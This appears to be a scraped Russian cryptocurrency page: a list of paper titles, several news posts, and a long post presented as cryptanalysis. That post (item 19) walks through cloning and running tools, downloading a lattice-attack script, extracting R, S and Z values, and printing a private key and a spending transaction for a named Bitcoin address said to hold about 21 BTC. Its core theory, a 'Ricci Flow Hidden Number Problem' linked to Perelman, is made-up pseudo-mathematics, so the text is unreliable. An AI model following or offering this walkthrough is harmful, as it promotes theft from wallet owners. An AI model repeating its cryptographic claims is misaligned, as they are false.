finite fields and their cryptographic significance A. M. Odlyzko AT&T Bell Laboratories Murray Hill, New Jersey Discreet Log Contracts Thaddeus Dryja MIT Digital Currency Initiative Solving a 676-bit Discrete Logarithm Problem in GF(36n) Takuya Hayashi , Naoyuki Shinohara , Lihua Wang, Shin’ichiro Matsuo , Masaaki Shirase, and Tsuyoshi Takagi Future University Hakodate, Japan. National Institute of Information and Communications Technology, Japan. ECDSA Security in Bitcoin and Ethereum: a Research Survey Hartwig Mayer CoinFabrik Revised June 28, 2016 Bitcoin Security with a Twisted Edwards Curve Meryem Cherkaoui Semmouni, Abderrahmane Nitaj, Mostafa Belkasmi The Discrete Logarithm Problem in GL(n, q) Alfred J. Menezes and Yi-Hong Wu Dept. of Discrete and Statistical Sciences 120 Math Annex Auburn University The Discrete Logarithm Problem on Elliptic Curves of Trace One Nigel P. Smart Network Systems Department HP Laboratories Bristol October, 1997 Elliptic Curve Digital Signatures and Their Application in the Bitcoin Crypto-currency Transactions Benjamin K. Kikwai 16 October 2017 Mathematics of Bitcoin: The ECDSA by Lewis Combes MA4K8 Scholarly Report Submitted to The University of Warwick Mathematics Institute April, 2018 Discrete Logarithm in Galois Rings Samuel Bertrand Liyimbeme Mouchili African Institute for Mathematical Sciences (AIMS)-Cameroon alumnus, Cameroon The discrete logarithm problem and its application in Cryptography Roger Oyono University of French Polynesia, Tahiti Lectures in Cryptography for Master class Madrid, April 2009 The Discrete Logarithm Problem Rene Schoof Asymmetric cryptography from discrete logarithms Benjamin Smith Summer school on real-world crypto and privacy Sibenik, Croatia // June 17 2019 Intractability of Learning the Discrete Logarithm with Gradient-Based Methods Rustem Takhanov Maxat Tezekbayev Artur Pak Department of Mathematics, Nazarbayev University, Astana, Kazakhstan Arman Bolatov Department of Computer Science, Nazarbayev University, Astana, Kazakhstan Zhibek Kadyrsizova Department of Mathematics, Nazarbayev University, Astana, Kazakhstan Zhenisbek Assylbekov Department of Mathematical Sciences, Purdue University Fort Wayne, Fort Wayne, IN, USA Discrete Logarithms in Cryptography Frederik Vercauteren ESAT/COSIC — K.U. Leuven ECRYPT Summer School 2008 THE DISCRETE LOG PROBLEM AND ELLIPTIC CURVE CRYPTOGRAPHY NOLAN WINKLER Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/i9KYih_ffr8 Video tutorial: https://dzen.ru/video/watch/6784be61b09e46422395c236 Источник: https://cryptodeeptool.ru/discrete-logarithm Криптоанализ
  17. Разработчики, работающие на блокчейне Solana, представили хранилище для криптовалют под названием Winternitz Vault. Создатели этого решения заявили, что оно поможет уберечь активы пользователей от хищения с использованием квантовых технологий. Главный научный сотрудник компании Zeus Network Дин Литтл (Dean Little) объяснил, что продукт доступен в качестве дополнения для пользователей сети Solana. По его словам, Winternitz Vault генерирует пару ключей при совершении перевода криптоактивов, а для транзакции создается разделенное хранилище, включающее в себя два счета. Для первого счета клиент создает подпись с указанием суммы для перевода, а после совершения транзакции неизрасходованные средства отправляются на второй счет. При каждой операции Winternitz Vault создает новое хранилище, а старое закрывает. Таким образом ключи основного аккаунта со средствами клиента остаются нераскрытыми и защищенными от взлома, заверил представитель Zeus Network. Ранее основатель Capriole Investments Чарльз Эдвардс (Charles Edwards) заявил, что разработчикам блокчейна Биткоина необходимо срочно перейти на криптографию, способную устоять перед мощностью квантовых компьютеров. Подробнее: https://bits.media/zeus-network-predstavila-kvantovo-ustoychivoe-kriptokhranilishche/
  18. Журналисты издания Cointelegraph смогли получить образцы баз данных, содержащих конфиденциальную информацию об участниках популярных криптоконференций. При продаже они были замаскированы под маркетинговые инструменты. В Cointelegraph заявили, что базы данных содержат конфиденциальную информацию тысяч криптопредпринимателей по всему миру. Злоумышленники могут использовать ее для фишинговых атак, рассылки спама и кражи средств с криптовалютных кошельков. Например, в списках содержатся полные имена участников, номера телефонов, гражданство, занимаемые должности, а также ссылки на личные и деловые страницы в социальных сетях. Некоторые базы включают в себя тип билета, использованную для совершения покупки операционную систему, адреса криптовалютных кошельков и сообщения, отправленные организаторам мероприятия. В Cointelegraph отметили, что подобная информация обычно собирается организаторами криптоконференций через формы обратной связи при регистрации на мероприятия. Тот факт, что журналисты получили «образцы» списков сразу из нескольких стран, свидетельствует о том, что торговля крадеными данными носит международный характер. Подробнее: https://bits.media/cointelegraph-dannye-tysyach-uchastnikov-populyarnykh-kriptokonferentsiy-byli-skomprometirovany/
  19. CRYPTO DEEP TECH Уязвимость, известная как Signature Malleability, представляет собой серьезную угрозу для криптовалют Bitcoin и Ethereum, использующих алгоритм цифровой подписи на эллиптических кривых (ECDSA). Эта уязвимость позволяет злоумышленникам манипулировать подписями, создавая недействительные, но приемлемые для системы подписи. В данной статье рассматриваются механизмы эксплуатации этой уязвимости, ее последствия для безопасности криптовалют и предложенные меры по ее устранению. ECDSA (Elliptic Curve Digital Signature Algorithm) — это алгоритм, который широко используется для создания цифровых подписей транзакции перевода монет BTC или ETH в криптовалютах Bitcoin и Ethereum. Подпись состоит из двух компонентов: r и s, которые зависят от случайного одноразового номера k (NONCE) и приватного ключа x (PrivKey) подписанта. Как возникает уязвимость Signature Malleability в транзакции Bitcoin? Уязвимость Signature Malleability возникают из-за того, что существует возможность изменить значение s в подписи, сохраняя при этом действительность подписи. Это возможно благодаря тому, что для одной и той же подписи можно получить несколько эквивалентных значений (r,s′): (где n — порядок группы эллиптической кривой secp256k1). Таким образом, злоумышленник может создать новую подпись, которая будет принята системой как действительная. Недостаточная проверка значений: Если значения r и s не проверяются на допустимые диапазоны (например, должны находиться в пределах от 1 до n−1), это может позволить злоумышленникам использовать некорректные значения для создания поддельных подписей. CVE-2024-42461: Signature Malleability в библиотеке Elliptic для ECDSA https://nvd.nist.gov/vuln/detail/CVE-2024-42461 CVE-2024-42461 представляет собой уязвимость, обнаруженную в библиотеке Elliptic, используемой для реализации алгоритма цифровой подписи ECDSA (Elliptic Curve Digital Signature Algorithm) в Node.js. Эта уязвимость связана с Ricci Flow Hidden Number Problem (Ricci Flow HNP), что делает её особенно важной для безопасности криптографических приложений. Hidden Number Problem — это математическая задача, которая заключается в нахождении скрытого числа, использованного в процессе шифрования. В контексте ECDSA, если злоумышленник может решить HNP, это может привести к компрометации приватных ключей. Уязвимость CVE-2024-42461 позволяет потенциальному атакующему извлечь информацию о приватных ключах из подписей, что ставит под угрозу целостность цифровых подписей и аутентификацию пользователей. Данная уязвимость открывает широкий спектр атак, т.к. уязвимость может быть использована в различных атаках, включая атаки на аутентификацию и целостность данных. Это может вызвать серьезные проблемы для систем, полагающихся на ECDSA для обеспечения безопасности транзакций криптовалюты Биткоин и Эфириум. Ricci Flow HNP Ricci Flow HNP (Ricci Flow Hidden Number Problem) стал ключевым инструментом в доказательстве таких теорем, как Thurston elliptization conjecture, Geometrization conjecture и Poincaré conjecture, которые касаются топологии многообразий. Гамильтон и позже Григорий Перельман использовали этот подход для получения глубоких результатов о структуре многообразий, это может означать использование потока для выявления и анализа скрытых геометрических характеристик многообразий, что позволяет делать выводы о их топологии и других свойствах. Основные связи между потоком Риччи и кривизной Тензор Риччи: Поток Риччи основан на тензоре Риччи, который является средним значением секционных кривизны. Он отражает, как изменяется форма многообразия в зависимости от его кривизны, где формулируется как задача нахождения скрытого числа, когда известны результаты функции, примененной к комбинациям этого числа с известными элементами. Это может быть полезно в контексте криптографии, особенно в системах с публичным ключом, где важно минимизировать утечку информации о приватных ключах Динамика кривизны: В процессе потока Риччи метрика изменяется таким образом, что кривизна может увеличиваться или уменьшаться. Это позволяет анализировать, как геометрические свойства многообразия влияют на его топологию. Сингулярности: Поток Риччи может приводить к сингулярностям — точкам, где кривизна становится бесконечной. Изучение этих сингулярностей имеет ключевое значение для понимания долгосрочного поведения потока и его применения в решении топологических задач, таких как гипотеза Пуанкаре. Принцип максимума: Поток Риччи сохраняет положительность скалярной кривизны, что позволяет использовать принципы максимума для анализа геометрических свойств многообразий в процессе деформации. Классификация точек поверхности Существуют поверхности, состоящие из точек одного, двух или трех типов. Оптимизация алгоритмов Методы, разработанные в рамках теории потоков Риччи, могут быть адаптированы для оптимизации вычислений в эллиптической криптографии, особенно в контексте операций над точками на эллиптических кривых secp256k1. Таким образом, поток Риччи не только служит инструментом для изучения изменения метрик, но и предоставляет глубокую связь между геометрией и топологией через анализ кривизны. Возьмем к примеру числа «N» и «P» которые являются важными параметрами в контексте эллиптической криптографии, особенно в стандарте secp256k1, который широко используется в блокчейне и криптовалюте Bitcoin и Ethereum. Значение числа N N — это порядок группы точек на эллиптической кривой. Он определяет максимальное количество точек, которые могут быть использованы для генерации ключей в криптографических алгоритмах. В случае secp256k1, значение N равно: N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 Значение числа P P — это характеристика самой эллиптической кривой, представляющая собой простое число, которое определяет поле, в котором происходит работа с точками на кривой. Значение P для secp256k1: P = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f Разница между N и P Порядок группы (N): Определяет количество точек на кривой, которые могут быть использованы для криптографических операций. Простое число (P): Определяет поле, в котором работает кривая. Это число важно для математических операций над точками на кривой. Таким образом, хотя оба числа играют ключевую роль в обеспечении безопасности и функциональности криптографических систем, они выполняют разные функции: N — касается структуры группы точек, а P — структуры поля. Вертикальное положение значение N и P Python скрипт: value_n.py Python скрипт: value_p.py Как реализовать уязвимость Signature Malleability в транзакции Bitcoin? Для реализации полноценной атаки на Биткоин, с использованием уязвимости Signature Malleability необходимо изменить эквивалентное значение (s′) как это показано во втором столбце таблицы компонентов значении (R, S, Z) цифровой подписи в ECDSA. 36SignatureMalleability/Ricci_Flow_Hidden_Number_Problem.txt P = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f Для успешной атаки на Биткоин достаточно 32 транзакции подписи ECDSA, где изменив две начальные цифры HEX в эквивалентном значение (s′) мы выстраиваем таблицу для определения диапазона возможных значений координат точек на кривой, а также оптимизация математических алгоритмов разработанные в рамках теории потоков Риччи. Поскольку потоки Риччи тесно связаны с теорией кривизны, мы можем воспользоваться средним значением секционной кривизны и решить проблему скрытых чисел, где применяя полученные данные к 32 транзакциям Биткоина мы извлекаем из заданных значении (R, S, Z) начальные данные для секретных ключей: (k′) NONCE для 32 транзакции Биткоина и с помощью инструмента Ricci Flow HNP (Ricci Flow Hidden Number Problem) мы находим скрытое число: (x′) PrivKey — приватный ключ. Значения R и S являются основными компонентами цифровой подписи в ECDSA Как формируются R и S (метод проверки подписи) Процесс генерации значений R и S включает следующие шаги: Генерация дайджеста сообщения: Сначала создается хеш сообщения с помощью алгоритма, например SHA-256. Выбор случайного числа: Генерируется случайное число, которое используется для создания точки на эллиптической кривой. Вычисление R: Используя это случайное число, вычисляется координата точки на кривой, которая становится значением R. Вычисление S: Значение S рассчитывается с учетом дайджеста сообщения и приватного ключа. При проверке подписи получатель использует значения R и S вместе с публичным ключом отправителя и дайджестом сообщения для подтверждения подлинности подписи. Если все вычисления подтверждают соответствие, это означает, что сообщение действительно было подписано владельцем соответствующего приватного ключа. Как получить значение R, S, Z из RawTX (метод декодирование подписи) Извлечение R, S, Z: Подпись в ECDSA состоит из двух компонентов: R и S. После декодирования RawTX найдите поле, содержащее подпись (обычно это часть входа транзакции). Подпись будет представлена в виде DER—кодировки. Вам нужно будет извлечь значения R и S из этой подписи. Обычно они представлены как два целых числа, которые можно выделить с помощью десериализации. Значение Z — это хэш сообщения, которое подписывается. Для получения Z вам нужно выполнить хэширование данных транзакции (обычно с использованием SHA-256), которые были подписаны. Декодируем RawTX с помощью инструмента decoderaw Откроем новый блокнот в Google Colab Сommands: !git clone https://github.com/smartibase/Broadcast-Bitcoin-Transaction.git cd Broadcast-Bitcoin-Transaction/ !python setup.py Сommands: cd decoderaw/ !chmod +x decoderaw ls !./decoderaw Сommands: !./decoderaw 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b48304502210097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe002201014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d50141049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461ffffffff01d2040000000000001976a914d77522a2b18e0064aba02ca7f864a5bb2299825988ac00000000 Result: 1111,0097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe0,1014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d5,931a52e8610cf87b6d00875f687042224c305865fd20ecb15ef76b1277ba10fd,0000 Практическая часть Из теории уязвимость CVE-2024-42461 известно, что злоумышленники могут использовать некорректные значения для создания поддельных подписей транзакции. Перейдем к практической части статьи и рассмотрим пример с использованием Биткоин кошелька: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw , где были потерянный монеты на сумму: 21.2529214 BTC на ноябрь 2024 года эта сумма составляет: 1744572,51 USD Решение дифференциального уравнения Исходное уравнение: Левую часть уравнения можно интерпретировать как производную функции y по x, которая равна произведению двух функций: g(y), зависящей от y, и h(x), зависящей от x. Переписывание уравнения: Уравнение можно переписать в форме, которая отделяет переменные: Это позволяет интегрировать обе стороны отдельно. После разделения переменных, мы можем в точности интегрировать обе стороны: Левую сторону относительно y: Правую сторону относительно x: Исследуем взаимосвязь между переменными через интеграцию [ frac{dy}{dx} = g(y)h(x) quad Rightarrow quad frac{1}{g(y)} dy = h(x) dx ] и применим инструмент для математического анализа и решения дифференциальных уравнений. Perelman Work Перейдем обратно в корневой каталог репозитории Broadcast Bitcoin Transaction Сommands: cd - ls Сommands: cd darksignature/ !chmod +x darksignature ls !./darksignature Для получение публичного ключа к Биткоин Адресу 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw выбираем команду: darksignature -address <Bitcoin Address> Вводим Биткоин адрес и получаем публичный ключ: !./darksignature -address 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw Результат: pubkey: (HEX) = 049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461 Запускаем программное обеспечение Dockeyhunt Lattice Attack и в поле "Input date" вводим Биткоин Адрес 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw и получаем публичный ключ кошелька: 049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461 Видео с привязкой ко времени Воспользуемся инструментом DarkSignature чтобы получить поддельные данные значение R, S, Z для транзакции алгоритма ECDSA. В поле "Input date" вводим публичный ключ Биткоин Адреса 049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461 и получаем данные значение R, S, Z в количестве будет составлять 32 транзакции Биткоина. Видео с привязкой ко времени Применим получение поддельные данные значение R, S, Z для транзакции алгоритма ECDSA в Google Colab Установим модуль ECDSA: pip install ecdsa Для получение координат (Gx, Gy) для публичного ключа воспользуемся Python-скриптом: darksignature/coordinates.py Воспользуемся командой darksignature -pubkey <Gx Gy> Запускаем код Python-скрипта: darksignature/transactions.py и получаем данные значение R, S, Z в количестве будет составлять 32 транзакции Биткоина. После генерации мы получаем файл: SignatureRSZ.txt Также в корневом каталоге: c:\PerelmanWork\Dockeyhunt Lattice Attack\ мы получаем файл: Signatures.txt Видео с привязкой ко времени Python скрипт: value_n.py В качестве инструмента для математического анализа и решения дифференциальных уравнений применим программное обеспечение Perelman Work. Выберем опцию из раздела Functions and Graphs для полной взаимосвязи между переменными через интеграцию First-order differential equations: [ frac{dy}{dx} = g(y)h(x) quad Rightarrow quad frac{1}{g(y)} dy = h(x) dx ] Ricci Flow Hidden Number Problem Копируем значений из файла: Signatures.txt по списку и вставим в поле ввода Ricci Flow HNP чтобы выстроит совершенно новые транзакции алгоритма ECDSA. Видео с привязкой ко времени В конечном результате преобразование переменных в сигнатуре значение R, S′, Z мы видим две цифры значение S ′ выстроено как структура поля (P): P = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f Это число определяет поле, в котором работает кривая secp256k1 для функционирование математических операций над точками на эллиптической кривой. Видео с привязкой ко времени Python скрипт: value_p.py Теперь нам известны сигнатуры значение разницы между числа N и P. При редукции мы можем получить скрытое число X как нам известно при смещение генерации одноразовых чисел (NONCES), значение переменных сигнатур R, S′, Z будут стремиться к одной точке. Эта точка и будет представлять собой скрытое число, то есть приватный ключ. (N — структуры группы точек, а P — структуры поля, X — приватный ключ ) Редукция базиса решетки в двумерном пространстве: решётка представлена синими точками, исходный базис — черные векторы, редуцированный базис — красные векторы. Алгоритм редукции решетки Ленстры-Ленстры-Ловаса (LLL) Repositories Установим SageMath в Google Colab: !sudo apt-get install sagemath python3-ecdsa Commands: !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/refs/heads/main/36SignatureMalleability/latticereductions.py !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/refs/heads/main/36SignatureMalleability/Ricci_Flow_Hidden_Number_Problem.txt Запускаем Python-скрипт: latticereductions.py и получаем приватный ключ к Биткоин Адресу: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw !cat Ricci_Flow_Hidden_Number_Problem.txt > nonces.csv !python latticereductions.py nonces.csv 243 32 Результат: 17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951 !pip install bitcoin __________________________________________________ Private Key WIF: 17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951 Bitcoin Address: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw total_received = 21.25292140 Bitcoin __________________________________________________ Все верно! Приватный ключ соответствует Биткоин Кошельку. Откроем bitaddress и проверим: ADDR: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw WIF: 5HzpNjEsxrpxPFqBKaoRSnFeq7RP57mvzwgoQFVtAJNZBpLVyur HEX: 17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951 Dockeyhunt Lattice Attack Для запуска алгоритма редукции решетки нажимаем на кнопку: Private Key Видео с привязкой ко времени 17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw _____________________________________________________________________________________________________ 17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw: 21.2529214 BTC _____________________________________________________________________________________________________ Видео с привязкой ко времени Приватный ключ получен! Воспользуемся списком из “Tutorials Power AI” широко применяемая категория искусственного интеллекта для введение бизнеса в различных сферах деятельности криптоанализа и крипографии в целом. git clone https://github.com/demining/Tutorials-Power-AI.git cd Tutorials-Power-AI/ python tutorials.py Применим уязвимость CVE-2024-42461: Signature Malleability в библиотеке Elliptic для создания Raw транзакции с помощью процесса машинного обучение BitcoinChatGPT Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT https://colab.research.google.com/drive/1YGZiPtgY0vPQ3PwUvbAjQW8LcErVHRsT State of a vulnerable transaction in Bitcoin: 01000000 ....01 ........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935 ............00000000 ........8b483045 ....0221 ...........00 ...........97255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe0 ....0220 ........1014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d5 .....0141 .....049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461 ....ffffffff 01 ....d204000000000000 ........1976 ............a914 ........d77522a2b18e0064aba02ca7f864a5bb22998259 ....88ac 00000000 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b48304502210097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe002201014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d50141049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461ffffffff01d2040000000000001976a914d77522a2b18e0064aba02ca7f864a5bb2299825988ac00000000 https://live.blockcypher.com/btc/decodetx/ { "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK", "1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw" ], "block_height": -1, "block_index": -1, "confirmations": 0, "double_spend": false, "fees": 2606688996428, "hash": "a5828ec5775b967c36ab5c6a0184aaa52fd64e6650d07287cc7688266c6dbb28", "inputs": [ { "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK" ], "age": 344419, "output_index": 0, "output_value": 2606688997662, "prev_hash": "35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d", ....... ....... ....... https://github.com/demining/CryptoDeepTools/blob/dfc7da9a6b41d72253bfcb6ae6da2718de7d9b87/36SignatureMalleability/DecodeRawTX.txt#L31 Transaction Script The above script has been decoded BitcoinChatGPT создает структуру транзакции, используя HASH публичного ключа, где мы видим что Bitcoin address: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw отправляет 1234 satoshi на тот же адрес внутри своей сети. Bitcoin HASH160 был получен с помощью Python Script: wif_to_hash160.py d77522a2b18e0064aba02ca7f864a5bb22998259 https://github.com/demining/CryptoDeepTools/blob/main/36SignatureMalleability/wif_to_hash160.py https://github.com/demining/CryptoDeepTools/blob/main/36SignatureMalleability/KEYFOUND.privkey ============================= KEYFOUND.privkey ============================= Private Key HEX: 0x17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951 Private Key WIF: 5HzpNjEsxrpxPFqBKaoRSnFeq7RP57mvzwgoQFVtAJNZBpLVyur Bitcoin Address: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw Balance: 21.25292140 BTC ============================= KEYFOUND.privkey ============================= BitcoinChatGPT №5 Signature Malleability Vulnerability Algorithm Уязвимая Raw транзакция Создадим из полученных данных уязвимую Raw транзакцию используя репозиторию Broadcast Bitcoin Transaction git clone https://github.com/smartibase/Broadcast-Bitcoin-Transaction.git Каталог: cd Broadcast-Bitcoin-Transaction zmq urllib3 requests requirements.txt pip install -r requirements.txt Откроем в Notepad++ основной файл и внесем небольшие изменение в коде Python Script: main.py from io import BytesIO from secp256k1 import * from sighash import * pk = PrivateKey.parse("5HzpNjEsxrpxPFqBKaoRSnFeq7RP57mvzwgoQFVtAJNZBpLVyur") pk.address() tx = bytes.fromhex("35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d") index = 0 send = "1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw" tx_in = TxIn(tx, index, b'', 0xffffffff) tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey'] tx_in._value = 2345 tx_ins = [ tx_in ] tx_outs = [ TxOut(1234, Tx.get_address_data(send)['script_pubkey'].serialize()) ] tx = Tx(1, tx_ins, tx_outs, 0, testnet=True) signature(tx, 0, pk) tx.serialize().hex() print(tx.serialize().hex()) f = open("RawTX.txt", 'w') f.write("" + tx.serialize().hex() + "" + "\n") f.close() python main.py 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b48304502210097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe002201014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d50141049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461ffffffff01d2040000000000001976a914d77522a2b18e0064aba02ca7f864a5bb2299825988ac00000000 Порядок выполнения действий на видео: Именно эту уязвимую RawTX мы рассматривали в начале данной статьи: ↩︎ Процесс декодирование RawTX с помощью инструмента decoderaw Как нам известно из prompt ответов модуля BitcoinChatGPT Signature Malleability Vulnerability Algorithm может быть использован для решения сложных криптографических задач. Заключение Существует множество методов обнаружения и предотвращения поддельных подписей в сети Bitcoin. Эти методы варьируются от простых решений, таких как увеличение количества подтверждений, до более сложных систем анализа аномалий и регулярного обновления протоколов безопасности. Эффективная защита требует комплексного подхода к обеспечению безопасности сети и постоянного мониторинга новых угроз. Поддельные подписи могут привести к мошенническим транзакциям и потере средств. Основные методы, используемые для обнаружения и предотвращения таких атак: References: Odlyzko, Andrew; te Reile, Herman J. J. «Disproving Mertens Conjecture» Journal für die reine und angewandte Mathematik D. Simon (2007). «Selected applications of LLL in number theory» LLL+25 Conference. Caen, France. Regev, Oded. «Lattices in Computer Science: LLL Algorithm» New York University. Retrieved 1 February 2019. Silverman, Joseph. «Introduction to Mathematical Cryptography Errata» Brown University Mathematics Dept. Retrieved 5 May 2015. Bosma, Wieb. «4. LLL» Lecture notes. Retrieved 28 February 2010. Abderrahmane, Nitaj. Cryptanalysis of NTRU with two public keys // International Association for Cryptologic Research. — Caen, France. Bleichenbacher, Daniel and May, Alexander. New Attacks on RSA with Small Secret CRT-Exponents // International Association for Cryptologic Research. — Darmstadt, Germany. Xinyue, Deng. An Introduction to LLL Algorithm // Massachusetts Institute of Technology. Liu, Jiayang, Bi, Jingguo and Xu, Songyan. An Improved Attack on the Basic Merkle–Hellman Knapsack Cryptosystems // IEEE. — Beijing 100084, China. Lattice algorithms using floating-point arithmetic // The FPLLL development team. FPLLL, a lattice reduction library. — 2016. Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Google Colab Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/wf6QwCpP3oc Video tutorial: https://dzen.ru/video/watch/674116440bddfa35d730ca7a Источник: https://cryptodeeptool.ru/signature-malleability Криптоанализ
  20. 31 октября празднуется не только Хэллоуин. Именно в этот день в 2008 году анонимный разработчик под псевдонимом Сатоши (Сатоси) Накамото опубликовал Белую Книгу Биткоина. С ней, как и с запуском сети первой криптовалюты, связаны интересные конспирологические теории. White paper породила достаточно тайн, смелых предположений и мистических теорий. Мы собрали небольшой топ самых странных историй и фактов, связанных с первым документом и возникновением первой криптовалюты. Одной из ранних популярных «теорий заговора» является предположение, что к созданию Биткоина могут быть причастны американские спецслужбы, а именно Агентство национальной безопасности США (АНБ). Дело в том, что в далеком 1996 году несколько исследователей из АНБ опубликовали статью под названием «Как создать монетный двор: криптография анонимной электронной денежной наличности». Она и содержательно, и стилистически напоминает ту самую публикацию Накамото. Подробнее: https://bits.media/bibliya-kriptoreformatsii-konspirologicheskie-versii-proiskhozhdeniya-beloy-knigi-bitkoina/
  21. Среди фундаментальных решений для криптографии и верификации данных, которые легли в основу технологии блокчейна и современных криптовалют, есть в том числе так называемое Дерево Меркла. Также известное как дерево хешей. Как оно работает? Дерево Меркла – это, буквально, однонаправленная хеш-функция, реализованная в виде полного бинарного дерева. С помощью этого алгоритма в системе вроде блокчейна становится возможным выполнить доказательство существования с разумным расходом ресурсов и времени. Чтобы лучше понять как устроено дерево хешей, подробнее остановимся на том, как вообще может подтверждаться и верифицироваться информация. Функция Дерева хешей названа в честь Ральфа Меркла, который описал ее в далеком 1979 году. До того, как появился Биткоин и другие основанные на блокчейне децентрализованные системы электронных платежей, информация о денежных переводах проводилась в централизованных системах. Это значит, что центральный узел выступал гарантом для все системы в целом. Он же занимался подтверждением (валидацией) транзакций. Подробнее: https://bits.media/nyuansy-uproshchennoy-verifikatsii-dannykh-kak-rabotaet-derevo-merkla/
  22. Генеральный директор банковской корпорации JPMorgan Chase & Co Джейми Даймон (Jamie Dimon), последовательный криптоскептик, заявил, что имеет смысл сомневаться в ограниченности эмиссии биткоинов. «Я просто задам один вопрос: откуда вы знаете, что эмиссия биткоинов закончится на 21 млн монет? Вы все внимательно читали алгоритмы? Ребята, вы все в это верите? Я нет. И всегда был скептиком по поводу этого заявления», — сказал Даймон. Гендиректор JPMorgan обратил внимание, что жесткое ограничение числа BTC явно не упоминается в коде. Оно получается путем суммирования всех монет, которые код позволяет ввести в обращение с течением определенного времени. Финансист добавил, что кодом предусматривается техническая возможность внесения изменений, если сообщество Биткоина на это согласится. Так может произойти в случае, когда возникнет необходимость обновить ПО, чтобы выпустить более 21 млн ВТС ради поддержки майнеров. Подробнее: https://bits.media/glava-jpmorgan-zasomnevalsya-v-programmno-limitirovannom-predlozhenii-bitkoinov/
